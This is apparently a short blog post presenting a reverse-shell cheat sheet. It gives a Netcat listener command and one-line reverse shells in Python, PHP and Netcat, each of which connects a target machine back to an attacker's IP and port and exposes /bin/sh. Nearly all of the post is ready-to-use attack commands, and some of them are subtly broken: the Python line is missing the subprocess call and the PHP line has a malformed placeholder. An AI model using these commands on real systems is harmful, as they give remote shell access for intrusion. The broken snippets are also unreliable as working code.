Reverse Shells – simple

Reverse shells are one of the best ways to connect back to your attacking machine via remote code execution.

First step – set up a listener on your machine using Netcat

nc -lvnp <port number> 

Second step – choose your platform

Python reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<Your-IP>,<your port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

PHP reverse shell

php -r '$sock=fsockopen(<Your-IP,<your port>);exec("/bin/sh -i <&3 >&3 2>&3");'

Netcat reverse shell

nc -e /bin/sh <Your-IP> <your port>

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.